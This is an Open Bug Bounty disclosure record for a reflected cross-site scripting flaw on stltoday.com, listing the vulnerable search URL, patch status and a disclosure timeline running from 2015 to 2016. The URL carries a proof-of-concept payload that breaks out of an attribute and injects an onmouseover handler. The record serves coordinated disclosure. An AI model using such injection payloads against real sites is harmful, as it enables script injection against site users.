stltoday.com XSS vulnerability

2015-08-25T07:24:00
ID OBB:81831
Type openbugbounty
Reporter dim0k
Modified 2016-03-25T02:00:00

Description

Vulnerable URL:
http://www.stltoday.com/search/?l=25&s;=start_time&skin;=%2fbranding%2fstltoday%2flifestyles'" onmouseover="prompt('XSSPOSED')&sd;=desc&q;=45645
Details:

Description| Value
---|---
Patched:| Yes, at 24.03.2016
Latest check for patch:| 24.03.2016 12:58 GMT
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 5276
Google Pagerank| 6
VIP website status:| Yes
Check stltoday.com SSL connection:| (Grade: A)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 25 August, 2015 07:24 GMT
Vulnerability existence verified and confirmed| 25 August, 2015 07:27 GMT
Vulnerability patched by the website owner| 25 March, 2016 02:00 GMT